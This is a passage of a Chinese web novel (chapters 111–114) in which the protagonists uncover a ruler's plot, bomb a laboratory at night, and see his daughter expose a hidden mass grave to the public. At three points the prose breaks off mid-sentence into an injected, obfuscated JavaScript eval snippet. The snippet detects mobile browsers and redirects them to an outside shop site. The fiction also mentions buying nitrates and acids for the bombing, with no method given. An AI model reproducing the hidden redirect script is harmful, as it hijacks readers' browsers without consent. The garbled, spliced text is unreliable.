而此时躺在床上的人和在旁边站着的人相顾无言,时咎对他使颜色,沉皑依然是摇头,都不清楚这是什么情况。 小男孩接着说:“你的能力我也有耳闻,凭我浅薄的认知,我也许知道那是什么。” 时咎终于没忍住打断他的话,对这位不速之客说:“不好意思,你是……” 对方也忽然恍然大悟,自顾自笑起来,末了说:“噢噢看我,都一直没有自我介绍。” “我现在有新的名字了,不过你们还是可以叫我以前的名字。” “沉初光。” 111. 第 111 章 时咎皱眉,顿时下意识地看向沉皑。 沉初光…… 一个两百多年前的领导者,四十多年的科学家,和现在的小孩。 时咎的目光打量着他,并不理解其中的缘由,但这种不理解很快被本人解答了。 沉初光说:“我不是活了两百多年,是我的能力,下一次出生会带着曾经的记忆。” 时咎愣在原地,但他的思路很快清晰起来。 原来是他! 季雨雪说,等他回来了,长大了,再回恩德诺,说的是沉初光! 他看向小孩黑色的瞳孔,心想两百多年前沉初光作为带领沉家的人经历了乱世,去世后也许经历了别的人生,但刚好在四十多年前那次再次出生在沉家,而现在则是别的。 也就是说对于沉初光来说,现在六七岁的身体里住的其实是两百多岁的灵魂,而季雨雪一直在那个裂隙里等着他一次次轮回。 时咎不自觉“啊”了一声,觉得有些不可思议。不过他不是觉得拥有两百多年的记忆不可思议,而是诧异在这个世界里,竟然真实存在轮回一说。 也是,连梦的裂隙都有,还有什么是不可能的。 时咎打量小孩,后者则不紧不慢悠然自得地站着。 沉皑直接淡淡道:“监狱里那本日记本是你的?” 沉初光还琢磨了一下,方才如梦初醒,他敲了敲自己的脑袋说:“那次事情之后这我还是第一次出生,差点记不起。对,是我写的,唉!” 他想起过去的事,表情有些痛心疾首,他朝两人解释说那是两百多年来,唯一一次又以沉家人的身份出生,累世的知识让他很轻松成为一名出色的科学家,不过那个时候沉家也是人才辈出,正是他们发现了起源进化升级的可能:通过剥离病毒提高进化成功率。但那个时候的掌权者并不是言威,而是他的父亲言霏。 他娓娓轻道:“言霏这一代远不如当年,他生心魔,企图回到两百多年前的独裁统治,于是开始制定反起源进化,这个想法遭到了沉家的强烈反对,甚至有人要求他从掌权者大楼离开,沉家的威胁让他不堪重负吧,这个计划才被废弃掉。但我听说他儿子是一个正直的孩子,才十多岁,知道他父亲要做这件事后,将他父亲强行逼退了。” 等等!时咎原本想打断他,但最后还是没说出口。 看上去他说的记忆传承不像是假话。 时咎开始思索他说的内容。言霏的儿子是言威,言威在十多岁逼退了自己的父亲?但这件事,不是言威所为吗?一直只听说言霏很早就离开,言威便成为了掌权者,但没想到是言威将父亲逼退。 信息的不对一时间等让时咎的大脑又陷入混乱。 一只海鸥毫无征兆地飞上半空,竟然撞进窗户,被丝质的窗帘挡住往前飞的路便又扑腾着回去了。 “言霏从掌权者的位置上下来后,开始长期的旅居,我听说他做了不少善事,大家都以为他痛定思痛,所以好几年后他回来宣布了另一项计划,叫‘起源改造’,打算从源头修改进化仪器。”沉初光说到这,他深深叹了一口气,但那悠长的遗憾与他五六岁的脸庞极其不匹配。 他接着说:“我们都相信他,便去了,哪想他从未改变,之前做的所有事,都是给世人看的表演。我们以为可以造福文明,谁知道那才是噩梦的开始……” 这与他们当时在沉船的猜测相差不大,果然都是欺骗。 公民们却为他的死发声,这…… “这两年我刚刚可以自由行动,每次时间也不多。”沉初光低头说,“想去沉船找找证据,哪知道第一次去就遇到你们了。” 时咎突然反应过来,惊异问:“那小孩是你?” 那个在他们沉船搜索资料时,突然听到声音追出去的小孩。 沉初光点头:“那会儿文明中心正混乱,我想不会有人来这里,结果你们居然也在查,不过看上去你们不知道文明中心发生的事,就想把你们引出去。” 时咎张张嘴,竟然是这样,那当时的一切都解释得通了。 “所以……”时咎斟酌了一下说,“想要独裁的是言霏,反而阻止独裁的是他的儿子,也就是言威。” 沉初光点头。 可后来父子两人为何突然达成了一致? 是因为夏癸的操控?可为何夏癸要操控言威去和他的父亲达成一致? 时咎一直觉得言威这个人很怪,他总会做出一些有利于文明,却又完全相反的事,这种极致的矛盾在生物坟场那一次大战里被拉到最大。 虽然已经明白里面有夏癸催眠的缘由,却不明白夏癸行为背后的动机。 这一对父子、一对夫妻,三个人谋划了什么? 沉初光看了眼墙上的钟,愣了一下:“我得回去了。” 变成小孩,连门禁都不得不遵守。 说着,他要走,却被沉皑叫住了:“等等。” 沉皑不太想说话,叫住沉初光后,便用眼神示意时咎,时咎接到信号,转头对沉初光说:“您……您还记得季雨雪,季小姐吗?” 闻言,小孩的脸上露出了诧异却又痛苦的神情,很快又消散。 “当然,永远不会忘记。” 转世后,他无法再跟任何人的生活有亲密交集,这是他的能力带给他的诅咒,他记得所有事,包括最爱的人。 时咎犹豫片刻说道:“她还活着,您知道吗?” 听闻这话,沉初光的眼睛倏然瞪大,他吃惊张开嘴:“真,真的吗?” 时咎不知道如何解释,便直接简短描述了他们在梦的裂隙里遇到季雨雪的事,听完,沉初光两行泪就下来了。 “她好孤独,她好孤独。” 没有想念的词汇,没有得知她消息的惊喜,沉初光只想到她孤独的两百多年。 等他再长大一些,或许季雨雪就会回来。 没有呆多久,沉初光离开了。 一段时间以来寸步不离照顾沉皑的时咎得到了他父母的欢心,总是给他做一些自己独创的糕点留在家。 沉皑问他们是怎么回来的,他的父母给不出合适的回答,只说开门便是浑身是血的人,吓得直送医院。 最终,沉皑还是把文明中心与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457359|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言霏父子的事告诉了他们。屋子里静默许久,沉皑父亲才严肃说,这件事需要被公布出来。 所有人都杳无音讯。生物坟场那一场殊死决斗击碎了几个人长久以来牵连的线。 时咎告诉沉皑,他们要尽快找到让公民们相信教化所里发生的事的证据。 证据还没来,言威就已经有所行动了,曝露这项行动的是舟之覆。 沉皑收到陌生号码发来的信息:再不回来,起源实验室所有仪器都被换喽! 言威……或者说夏癸,在加快进度,企图全面崩坏文明的构成方式。 自从时咎上次终于回到恩德诺他就发现舟之覆消停了,似乎不再屠杀能力者,这是这么久以来第一次再有他的消息。 很快,舟之覆的电话又接通过来,时咎拿起来开了免提。 舟之覆阴阳怪气的气息很冲人:“哟喂天之骄子就是天之骄子,这起源实验室想来就来想走就走啊。” 沉皑闭上眼懒得跟他说。 时咎回答:“什么事?” 那边安静了两秒,爆发出一阵夸张的笑声:“哎呀!我的宝贝!真是好久不见!” 时咎冷漠:“没事我挂了。” “哎别!”舟之覆恢复了正常,他突然降低音量,“我最近一直在想一件事,想问一下,你们能搞垮言威吗?” 时咎:“……你想说什么?” 舟之覆“嘻嘻”一声,道:“如果你们能搞垮言威,沉皑当掌权者,也能给我个掌权者玩玩,我可以勉为其难考虑临阵倒戈一下,如果不行的话,那我们……” 时咎面无表情挂了电话。 “哎!”舟之覆听着电话里的“嘟”声,无语地靠在自己的沙发椅上,他将脚高高抬起搭在桌子上,目光瞥着旁边的人,自言自语说道:“反正我也走投无路,放弃掌权者是不可能的,但我得两边示好吧?万一呢?” 旁边的人没有给他回答。 舟之覆叫了一声:“喂,蠢东西!跟你说话呢!” 他口中的“蠢东西”只是愣愣地站在原地,虽然不攻击能力召唤者,也并不与召唤他的人对话,只是像失去了神识的半透明空壳,默默站在原地。 舟之覆嗤笑着说:“这样子更蠢了!” 沉皑的身体恢复很快,没几天已经可以起床走了,刚能动,他就打算去文明中心,被时咎阻止了。 “你别说去文明中心干掉言威,这十几个小时的车程能不能坚持下来都是问题。”时咎嘲讽说。 言之有理,但若真的等言威偷天换日,那才是文明的噩梦。要阻止言威继续行动,至少阻止他在更换设备后真的将公民送进玻璃舱。 时咎说:“我想到一个好办法可以让起源实验室暂时不运作。” 沉皑:“什么?” 时咎露出一个不太善意的微笑。 他说:“秘密。” 沉皑直觉这大艺术家说的秘密不会是什么好秘密。 时咎转头出门就给舟之覆打了电话回去,刚刚接通,时咎便说:“合作一下?” 舟之覆:“哟?” 112. 第 112 章 其实时咎也不太确定能不能成功,他想反正任务就是拖到沉皑好起来,在这之前得尽量拖住言威对公民的一切实质伤害。 这个文明过于彼此信任,犯罪纪律太小,以至于连监控都很少,现在看来反而方便了某些不可说的行动。 时咎辗转十多个小时,一个人回到文明中心附近,以学校实验为由买了些硝酸盐和稀硫酸。 不知道能不能成功,只能一试,要是失败了就另外找办法吧。 次氯酸钙或许也需要,都买上,以防万一。 时咎心情还不错,因为他要干一件大事,这件事绝对是在地球上学、上班的人都曾经期待过的事。 今天他将替他们完成梦想。 时咎在城区呆了两天,最终把东西交给舟之覆的时候已经是第三天了。 第三天晚上,他等在文明中心外一处高楼顶,看着舟之覆最后一个懒懒地从起源实验室里走出来,出来后跟门口安保说了些什么,安保急急忙忙离开了。 舟之覆的信息很快发来:搞定,你最好别出问题噢。 舟之覆发完信息后便慢悠悠离开,像每天下班回家一样正常。 没过几秒,时咎又收到舟之覆的第二条信息:我一直以为我挺疯,没想到你更癫。 时咎:不客气。 沉皑不知道时咎又要搞什么幺蛾子,直到第二天他打开新闻—— 他发现很多频道都在播放同一条新闻:昨夜,文明中心起源实验室发生未知爆炸,导致楼房坍塌,由于发生爆炸时间为晚上,楼房里并没有人,未造成任何伤亡。爆炸原因安全管理中心将会进一步调查,即日起暂停未成年人进化活动,恢复时间另做通知。 沉皑:“……………” 这就是时咎说的,好办法? 好。 这场未知的爆炸为沉皑争取了一些时间,但同时也为夏癸争取了一些时间。 那天早上时咎是被沉皑叫起来的,时咎看到沉皑已经拆掉了绷带的脸,有些迷迷糊糊问:“怎么了?” 沉皑平静道:“你起来看一下。” 时咎翻身从小床上爬起来——他在沉皑的床边搭了一张小床,原本是担心不能及时照顾沉皑,又不能跟他睡一起而临时搬进来的。 他揉着眼睛,一副睡意朦胧的样子,模糊间看到沉皑对他示意窗外,便歪歪扭扭地走到窗边去了,他一边打哈欠一边说:“外面有什么好看的,每天都在看,不就是……我天……” 话没说完,时咎一个激灵,瞬间睡意全无。 这临海的半山腰是一个仙境般的地方,总让时咎想起米兰科莫湖的美景,澄蓝的天与海,高饱和度就像在天堂的后花园,然而此时这个后花园的上方,正盘旋着如同飓风一样的黄沙,那些黄沙汨汩流动,越阔越大,如同倒挂天际的流沙河,在海天交接的远方又倾泄而下。 整片天,全是流沙般的颜色,阴霾般笼罩在城市与田野上空,再没有一点蓝色。 天上一个世界,地上一个世界。 海边的居民不再行走奔忙,都停下来三三两两聚集在窗边、海边、小路上,抬头相互讨论着这震慑人心的一幕。 这是怎么了?时咎回头,见沉皑摇头说:“我醒来的时候就是这样了。” 这种黄沙时咎见过,他们当时从监狱里回程时,他抬头就看到了莫名状的黄沙,后来也经常会看见,只是太微弱的几缕,所以他并未在意。 似乎是沙尘暴被卷入空中,但即使是沙尘暴,也多见于沙漠干旱地区,他们所处的地域明显不是。这是一起非自然极端天气——与其说是天气,不如说是一幅画被垂悬在空中。 很快,新闻开始大面积播报这异常现象,呼吁公民在家做好防护。 看来不是海边才有这样的景象,而是整个城市,甚至,大有向全球蔓延的趋势。 街边的汽车鸣笛今天格外多,有人在猜测会不会有龙卷风、地震、海啸,企图开车去安全的地方,但在得知遥远的内陆朋友家也能看到这片天时,很多人放弃了这个打算。 气压没有变化,连空气中海腥味也没有变化,除了缓慢流动的天。 沉皑手里的遥控器不停换着台,几乎都是在报道这次事件。 这很奇怪。时咎再次抬头去看那线条分明如同湍急河流般的黄沙,脑海里隐隐对上了别的场景。他之所以会那么快想到,是因为当时他做过一个非常具体的对比——木星表面。好像此时天空碰撞的就是氢和氦,流沙交界处就是一个个巨大的反气旋风暴。 现在的天空,像生物坟场的天空。 想到这个可能性的时咎突然起了一身鸡皮疙瘩。他猛地回头,却看见沉皑拿着遥控器没按,他的目光很认真地盯着一个采访,时咎顺着他的视线看过去。 一个女记者站在文明中心的大门口,正在播报这次事件,只是她背后的、文明中心的天也是黄沙卷云,风吹着她的头发黏在她的脸上,话筒也因为风声而发出杂音。 沉皑将画面停在这个频道不是因为这可以看到文明中心的现场,而是女记者身后那个缓缓往外走的背影。 时咎皱眉,心想言不恩这个时候去文明中心做什么? “砰”一阵风吹来过砸上了大开的窗户,时咎立刻过去将窗户锁上。似乎今天起来后,气温都骤降了几度。他去房间拿了衣服给沉皑披上。 沉皑:“谢谢。” 黄沙让陆地上的世界变得晦暗不明,分不清具体的时间,也看不到太阳。 言不恩第一次没有带口罩出现在外面,她一步步走得很慢,路过文明中心看到门口有记者正在直播,便原地站立下来。 她知道,如果她现在踏出这一步,一切都结束了。 从她出生起,家里一直有两个哥哥一个姐姐,父亲总是忙于文明中心的事,归家次数少,就算回来也将大部分精力投入那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14472252|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人身上,母亲更是。 母亲不爱出门,但也不爱与她有过多交涉,母亲喜欢在她的绿植中间徘徊,喜欢茶艺,喜欢调制熏香,时常发呆放空,只在有人的时候盛装相迎。整个家里,她便是那个多余的人。 好在哥哥和姐姐愿意带她玩,即使训练得毫无力气,全部躺在烈日下、奔跑在滂沱里,也是愿意为她分出一些经历的,如果可以,她希望一辈子和哥哥姐姐生活在一起,说是哥哥姐姐,也像父亲母亲。 童年的故事是姐姐讲来听的,怕黑的夜晚是姐姐陪的,被欺负的幼年是哥哥欺负回去的,在对世界充满好奇的年龄,也是哥哥一条一条讲给她的。她的思想里,没有父母的传承,却都是哥哥姐姐的笑声。 她曾经想,长大以后姐姐做掌权者,她就做掌权者背后的女人,哥哥们可以辅佐姐姐,当然哥哥们能做掌权者也是好的。 但随着她把姐姐的身体埋进土里,这个愿望也一起被封存。无论如何,都是没有余地的结局了。 她接受的教育不允许她做多余的盘旋,姐姐不在了,哥哥们也在是的,十多年真实的陪伴也在。 她忽然下定了某种决心,停驻的脚步开始动起来,一步一步坚定而沉重。 选择就是这样,一个被选择的同时,另一个被毁灭。 “我想提供点消息可以吗?”言不恩站在摄影机前,对着女记者露出甜甜的笑容,只是在她半边伤疤的脸上,那甜美沾染着凄惨的润色。 女记者以为她会说一些和极端天象有关的话,便把话筒递给了她。 时间一秒一秒流逝,言不恩对着摄影机深呼吸一口气,又扯出她以前最喜欢露出的那种笑容。 现场直播的画面会以不超过三秒的延迟传遍全球每个角落,有很多人在亲眼看这突变的天,也有很多人在从电视网络上求得解答,更多的人喜欢看文明中心的画面,好像在这恩德诺的权力中心,连猜测也变得真实起来。 “她要做什么?”坐在沙发上翘着二郎腿的时咎皱眉问。 电视里是言不恩熟悉的模样,但她似乎有些变了,也许是眼神,也许是别的,那层悲伤下涂抹了以前从未在她眼里看到过的情绪,恍惚间,让时咎想到了季水风,不,季纯。 沉皑抿唇,放轻了呼吸,眼见着言不恩转头对着镜头笑了一下。他突然明白了些什么,慢慢从沙发上站起来,有些窒息地低呼说:“去文明中心,现在!” 曾经言不恩喜欢表演公主的戏码,好像这样就可以永远不长大,但是人哪有永远不长大的,总有一些事的发生,推着人踏入不可反抗的洪流。 那天,言不恩乖巧却带着暗淡的声音传遍了恩德诺所有角落。 车疾驰在高速公路上,连行李都没来得及收拾,沉皑的伤也并未痊愈,但那焦灼紧张的气氛容不得他们再有丝毫犹豫。 紧闭的车窗外是快速略过的风景,每一处都是黄沙侵袭的天。 113. 第 113 章 公主: “我是言不恩,言威的女儿,我的能力是创造一个无限小或无限大的透明结界,结界内外互相看不见,进入结界也不会有感觉,只有在我允许的情况下,里面的人可以出来。” 汽车猛踩油门,发动机的声音又加大了几分,几乎是全速推进着,广播默默播放,车里的人都没有说话,所有注意力都集中在车载画面里。 “十多年前,我的父亲将我带到蘑菇山,让我在那个地方放下一个结界,并没有告诉我理由。” 海很快消失了,穿过长长的隧道,光明再次涌现出来时,已经只有田野与畜牧,还有漫天黄沙。汽车飞驰过公路,卷起的是地上的泥土还是天上的泥土无法分清。 “我马上就要成年了,成年的时候将会接受进化,成为和大家一样的可以意识交流的人,当然也有可能成为教化所的一具白骨。可能你们好奇为什么我会用白骨来形容自己,因为我在蘑菇山布下的那个结界,就是教化所,我父亲常把那里叫做生物坟场。所有的人有去无回,在那里被屠杀,这是我们去教化所再难回来的原因。” 时咎的眼睛盯着车载屏幕中的画面,画面中小女孩背后的黄沙天好像更浓烈了,他转头看这条高速路上空同样的场景,轻轻叹气。 最不该,让她来承担这些。 时咎转头问还要多久。沉皑说不堵车的话会很快。 “如果我说,这是我文明中心的阴谋,可能没人相信,因为大家都思维透明,如果文明中心有的人思维不透明呢?如果,有人让你们觉得他们思维透明呢?我没有做过进化,我没有办法证明。但是我可以证明你们的儿子、女儿,死去的地方。” 在沉皑说了不堵车会很快后不久,车慢慢停下来,沉皑打开车窗往外看了一眼。这条路堵车堵得厉害,密密麻麻、弯曲连绵,如同长条的行军蚂蚁,好像天地倒悬,他们也是空中无法自行调转方向的沙尘。 长得看不到头的车流里,没有人按喇叭,也没有人喧哗,晦暗的光线里汽车车灯亮成了传承。有的车窗紧闭,有的车窗则大开。 卫星信号传输到每个设备间有微小的时间差,哈斯效应细致地展现,以毫秒之差漂浮在上空。 那长长的车流上空,言不恩的声音清晰可闻。 “我会在文明中心展开我的结界,那个之前放在蘑菇山上的结界,所有人可以自由出入,如果大家愿意相信我,可以,可以做出选择。” 画面里的言不恩往后退了几步,她的手里迅速出现一个小球,从她的掌心,便能看见黄沙天与红土地,像小孩子们爱的装饰雪景球,一个微缩的世界在她手里展开,随后那个球变大,静置在文明中心广场前方,几秒后凭空消失。 她的言论如同她手里的结界,一开始只是不起眼的玻璃珠子,慢慢扩大成气球,最后变成炸弹,毫不犹豫在恩德诺每一处地方炸响。 起初没人敢说话,看新闻的、听广播的,都只是接受到了这个消息,不约而同选择沉默,他们的反应如同多年前看到广场上自焚高喊“推翻文明中心阴谋”那个人一样,更多的是不信。 后来在文明中心附近的人又逐渐聚拢在那个广场边缘,于是他们看到电视里出现的女孩,长久沉默地在原地站着。 她想,她在改变历史。 没有人想安宁顺遂的历史被改变,人们逐渐围聚成了人墙,他们在这边,言不恩一个人在那边,接受千万双眼睛投来的目光,有好奇的、不满的、担忧的、跃跃欲试的。 谁也看不到言不恩身后存在什么,是她所说的结界,有进无出的结界,也没人真的敢上前去。 风吹得她的脸有些干,她抬手便摸到了脸上的裂纹,这么久以来,慢慢也就接受了。 言不恩良久的寂静,人头攒动的窃窃私语。 不知道过了多久,人群里终于有了第一个发声,是一个女人。 她问:“你需要帮助吗?” 言不恩抬头与她对视,随后摇头。他们想的是她是否需要帮助,他们心疼这个小女孩,就顺理成章掩盖掉她说那些话的可能性。不愿意承认,一切都是理由。 接着有第二个人问她:“你和父亲吵架了吗?” 言不恩依然摇头。 第三个人问她:“冷吗?要不要送你回家休息?” “需要通知掌权者吗?” “外面风大,快点回家。” “我没成年的时候,也会和父亲对着干,但他始终是对我好的。” “快走吧。” “等你成年就好了。” …… 直到人群里突然传出一个女人尖锐的问话:“你的结界进去了还能出来吗?” 那些涌动的情绪瞬间止息,人群安静下来,只听到一个女人在说“让一下,不要意思,让一下。” 人群被挤开,一个红衣服女人窜到最前面,她突破人墙的边界,三两步走到言不恩身前一把抓住她的胳膊问:“还能出来吗?” 言不恩有点被惊吓一般愣住,但很快点头。 女人松了一口气,心有余悸说:“我儿子几年前去了教化所,再也没回来,我想,我想去看看。” 后面没有人回答她,于是她转过头说:“万一,万一是真的呢?” “万一是假的呢?”人群里再次冲出来一个人将她拽了回去,着急的女声暴露着她的心情,“万一你进去就出不来呢?谁敢当第一个?” “对。” “我不敢。” “小女孩好可怜,但是我也不敢,我看她真的有能力,那个小球,你们都看到了吧?” “所以我才不敢,虽然我想进去,我,我的弟弟也没回来。” “我未成年的时候去过教化所,就是一个研究所,我回来了,后来不知道为什么就……” “谁敢进去试一下?” “怎么可能?他们把孩子送进去全部,全部……” 人们彼此问答着。言不恩望向那个抓着她的女人,女人则缓慢松开她,一步,退后,再一步。 黄沙笼罩下,每个人的脸都是黄色的,像从泥地里刚刚爬出来的行尸走肉。 前排的人激烈讨论,后面的人伸长脖子企图看清前面的情形,那些没能挤到前面的人围观不多时就离开了,又有了新的人聚拢,前排的人得不到有力的承诺,不敢轻易尝试,没多久也离开了,于是后面的人变成人墙前方的边界,再次问对面那个女孩她已经回答过无数次的问题。 所有的人都在讨论,但所有的回答都差不多,还有一些是意识中的交流,根本没有开口的人。 言不恩不知道自己站了多久,腿有点酸,便原地坐下了。 没多久,一群安全管理中心的人来了,他们劝阻言不恩离开,但言不恩摇摇头,继续原地坐着。那些人只能面面相觑,不知道是否该对掌权者的女儿采取强制措施。 这一行为加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483579|150709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重了公民们的疑虑,有人问这真的是掌权者的女儿吗?如果是,会不会说的话有几分可信呢?但如果可信,他们要面对的是不是更大的不可信? 谁能承认那言不恩口中的教化所的真面目?当他们承认这一点的时候,将会承认一些什么更宏大的东西? 汽车停在人墙外,两边车门打开又迅速被关上,时咎跑到人群聚集的地方迅速拨开一条通道。 最前面有人又在问:“谁敢去试一下?” “对啊,都没人敢进去,谁知道能不能出来?” “有没有谁家孩子在教化所的?” “谁家孩子在也不敢进呀!” 人群最前方被拨开,一个低沉的声音说:“我进去。” 喧哗立刻平息下来。 言不恩抬头看到来人,惊讶了一下,嘴角刚扬起又撇了下去。 人们纷纷给那位敢于第一个进去的人让开道路,沉皑便缓缓走了出来。下一秒,有人认出了他。 “沉先生?” “沉先生!得小心啊!” “是沉先生啊,这,这真的能进吗?” 沉皑不咸不淡的:“嗯。”他走到言不恩身边,伸手摸了摸她的脑袋,转头朝时咎示意陪着她,时咎点头。 沉皑毫不犹豫往文明中心里面走去。 所有人都屏住呼吸看他,看着那个挺拔的身影不紧不慢地远离,在某一瞬间,忽然消失在原地。 人群哗然。 时咎在言不恩身边坐下,轻声问她:“你还好吗?” 言不恩朝他挤出一个牵强的笑脸:“时咎哥哥不必担心我。” “其实你不需要做这些,我们还可以想办法。” “如果我不做,谁来呢?” 时咎愣住没说话。 这句话,沉皑也说过,当时虚疑病严重的时候,时咎问他不怕被感染吗?他说总要有人做的。 还真是从小带大的。 他们曾经找了很久教化所的证据,都给不出来一个真正意义上的证据,因为公民太相信文明中心了,后来发现证据就在眼前,他们却找不出更好的办法,好像除了言不恩站出来,已经是穷途末路。 她明明什么都没做错,为什么要她承担因果? 时咎问:“那你现在在想什么?” 言不恩:“想文明的未来。” 时咎诧异转头看她,却见她弯起眼睛笑,刚好时咎坐在她脸上有伤疤的那边,那伤疤搅和着她纯粹的笑,在甜美中硬生出几丝“千帆过尽,看山还是山”的情绪。 她说:“我不知道怎么形容最近一段时间,也许就是打破幻想,被逼着认清现实的感觉吧。” 城堡里的公主,可以任性无理取闹,在一群人的羽翼下被保护得很好。 “最开始我也无法接受,但我其实我谁都怪不了,每个人都有自己的命运,曾经该面对的东西没有面对,逃避,越逃避,走得越远,直到上天帮我裁决,如果我不想面对,它就逼我面对,用最决绝和狠毒的方式,承受得了,承受不了,不也都要扛下来吗?” 时咎:“如果你需要拥抱,我在这里。” 言不恩摇头,她想,如果是姐姐,也会自己承受的。 没过多久,沉皑的身影再次出现在文明中心,他如同刚刚走进去般,又徐徐踱步出来,每一步都稳稳地踏着。他走到言不恩旁边,面对着公民,不咸不淡道:“我出来了。” 114. 第 114 章 密不透风的人墙开始扭曲,出现波浪般的涌动,因为有人原地不动,有人往前走了一步,沉皑的回来就像一个信号,代表着安全。 要进去吗? 沉先生已经出来了?是不是没有问题? 沉先生不会骗人的。 这个女孩说的都是真的? 我去试试吧。 随着第一个人踏出的一步,后面的人也逐渐有了勇气,于是他们一个一个,一步一步往前挪。他们信任文明中心,同时也信任沉皑那双深蓝色眼睛。 他们与言不恩擦身而过,往她身后走去,直到第一个公民消失在原地,随后第二个、第三个…… 那汹涌的人潮汇聚成了河流,朝一个未知的地方流去,又在某个节点瞬间消失。 历史就是一条河,无数人的悲欢被尽数倾倒在这条河里。 沉皑微垂眼睫,看向地上坐着的少女,淡声道:“你很乖,后面都交给我。” 言不恩抬起头与他对视,看到他凌冽的轮廓,也看到他背后猛烈的黄沙。片刻,她摇了摇头说:“这次不行。” 公民的反应比想象中来得更激烈,很久之后,一直坐在文明中心门口的三人看到一个女人冲出来,她抱着一件破碎的衣服,大哭着说:“这是我孩子的衣服!!这是我孩子的!!!上面的字是我亲自写的!!!” 有了第一个,便会有第二个、第三个…… 听闻信息的公民从城市各个地方赶来,也有从各个城市赶来,甚至从更远的地方,在几天的时间内,风暴排山倒海般袭来。 “我找到了我儿子的衣服!还有他的笔记本!” “我女儿的项链在里面!怎么可能!掌权者!掌权者出来!” “里面全是死人!!!” “啊啊啊——!” 文明中心挤满了人,又都在没有深入广场内部时消失,他们有的人进去,有的人出来,彼此擦肩而过,带着各异的心情。 安全管理中心被派来维持秩序的人看到这个情况,里面突然有人犹豫了一下,说:“我的弟弟,也去了教化所,我想去看看?” 一石激起千层浪,连安全管理中心的人也踏入了那个结界,后来文明中心其他小职员也下来了。 消息被传开,有如一刻炸弹从高空抛下,短暂的寂静之后轰然在距离城市不高的半空中炸开,以文明中心为圆心升腾起一颗蘑菇云,覆盖住整片天空。 人们由最初的不信变为将信将疑,后来是震惊,最后是愤怒。 电视里从头到尾播报着,从言不恩的出现到沉皑进去又出来,后面便是公民一窝蜂地往里钻,最后,连摄影机也进入那个地方。 黄沙红土地与白骨,平静展现在所有人面前,它们不说话,不评价,仅仅是展示,展示那些骸骨和遗物,还有长久以来寂静空间里突然涌入的人潮,人们在里面奔跑、怒号、恸哭。 事件从头到发酵,用了仅仅三天时间。 火上浇油的是,有人发布了反起源进化的细节文章,并且是实名制发表,发表人赫然的“沉”姓让人无暇去怀疑真假,里面贴出来了监狱与沉船相关种种。 这件事应该只有沉初光做得到。 再不明所以的人,经过两天的口耳相传,也知道了他们的文明发生了什么。 第四天,文明中心外围了有史以来最多的人,比当初要求公布虚疑病时还多。他们从静坐示威变为情绪高涨,怒不可遏。 安全管理中心没有季水风,临时管理的人见到这阵势也没有再维持现场安全,而是撤掉了所有安保,原本将公民们围成湖水的安保们,也变成了一滴水。 于是人们有序静坐着,有的人举着手牌,面对着掌权者大楼,后来不知道是人群中的谁忽然抬头,似乎看到了顶楼掌权者办公室那一层的窗前掠过的人影,他踉跄一下站起来,单薄的身躯在上万人静坐里异常显眼。 他起初有些犹豫,随后鼓起勇气,将手里写有“掌权者,解释!”的手牌举起来,声音不大的喊了一句:“请掌权者给出解释。” 声音在广场和人群中蔓延,他的音量不大,还没有越过所有人群便消失了,随着他呼喊的消失,整个广场陷入死寂,长久的沉默,像空气被抽干,时间被静止。 良久之后,人群中站起来了第二个人,他吞了一口口水,声音颤抖着高喊出:“请掌权者给出解释。” 又是一片温吞归于寂静。 但紧接着,他旁边的人撑着地也站起来了,这个人的声音坚决许多,他一站定,便高喊:“请掌权者给出解释!” 受他情绪的感染,接着,第三个人、第五个人、第十个人、第一百个人全部站起来了,像被人推倒坍塌又倒放的多诺米骨牌,一个接一个,一群接一群,声音汇聚着声音,直冲云霄。 “请掌权者给出解释!” “请文明中心给出解释!” “请文明中心告知公民真相!” “还公民一个说法!” “文明中心必须给出说法!” “给死去的未成年一个解释!” “掌权者出面!” “围攻文明中心!” 天上汹涌的是黄沙,地面汹涌的是人群的无法消止的愤怒。 一块玻璃被打碎,言威坐在自己的办公室里,从高楼俯视下面黑海般的人群,攥紧五指。 他想过沉皑的背叛,却没想过言不恩的背叛,一旦公民知道这件事,他还有多少回旋的余地。 夏癸,这就是你想要的统治吗?他想。 就在这时,门被敲响了。不知道是谁会在这种时候做出如此礼貌的行为。 门被打开,沉皑出现在门外。 “你该向公民公布所有真相。”他语气淡而冷漠地说,好像要做到这件事,如同上台演讲自己的稿子般简单。 言威笑着摇头,说:“我从没听说过能力还分甲之蜜糖,乙之砒霜,放你身上是疗愈,在我身上就是要命。” “但你现在好好的。” 